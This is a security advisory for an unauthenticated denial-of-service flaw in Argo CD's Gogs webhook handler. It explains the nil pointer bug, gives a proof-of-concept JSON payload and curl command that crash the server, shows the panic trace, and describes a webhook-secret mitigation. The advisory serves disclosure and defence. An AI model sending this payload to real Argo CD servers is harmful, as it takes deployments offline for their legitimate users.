GHSA-wp4p-9pxh-cgx2

argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload

### Summary Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. With the default configuration, no `webhook.gogs.secret` set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field `commits[].repo` is not set or is null. ### Details Users can access `/api/webhook` without authentication, and when accessing this endpoint, the `Handler` function parses webhook type messages according to the `header (e.g. X-Gogs-Event)` and `body` parameters provided by the user. The `Parse` function simply unmarshals JSON-type messages. In other words, it returns a data structure even if the data structure is not exactly matched. The `affectedRevisionInfo` function parses data according to webhook event types(e.g. `gogsclient.PushPayload`). However, due to the lack of data structure validation corresponding to these events, an attacker can cause a Denial of Service (DoS) attack by sending maliciously crafted data. because of Repository is Pointer Type. ```go func affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) { switch payload := payloadIf.(type) { // ... case gogsclient.PushPayload: webURLs = append(webURLs, payload.Repo.HTMLURL) // bug // ... } return webURLs, revision, change, touchedHead, changedFiles } ``` ### PoC payload-gogs.json ```json { "ref": "refs/heads/master", "before": "0000000000000000000000000000000000000000", "after": "0a05129851238652bf806a400af89fa974ade739", "commits": [{}] } ``` ```shell curl -k -v https://argocd.example.com/api/webhook \ -H 'X-Gogs-Event: push' \ -H 'Content-Type: application/json' \ --data-binary @/tmp/payload-gogs.json ``` An attacker can cause a DoS and make the argo-cd service unavailable by continuously sending unauthenticated requests to `/api/webhook`. ``` panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x68 pc=0x280f494] goroutine 302 [running]: github.com/argoproj/argo-cd/v2/util/webhook.affectedRevisionInfo({0x3bd8240?, 0x40005a7030?}) /go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:233 +0x594 github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).HandleEvent(0x40000f9140, {0x3bd8240?, 0x40005a7030?}) /go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:254 +0x38 github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool.func1() /go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:128 +0x60 created by github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool in goroutine 1 /go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28 ``` ### Mitigation If you use Gogs and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler. If you do not use Gogs, you can set the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads. ```diff apiVersion: v1 kind: Secret metadata: name: argocd-secret type: Opaque data: + webhook.gogs.secret: <your base64-encoded secret here> ``` ### For more information * Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions) * Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd ### Credit Sangjun Song (s0ngsari) at Theori (theori.io)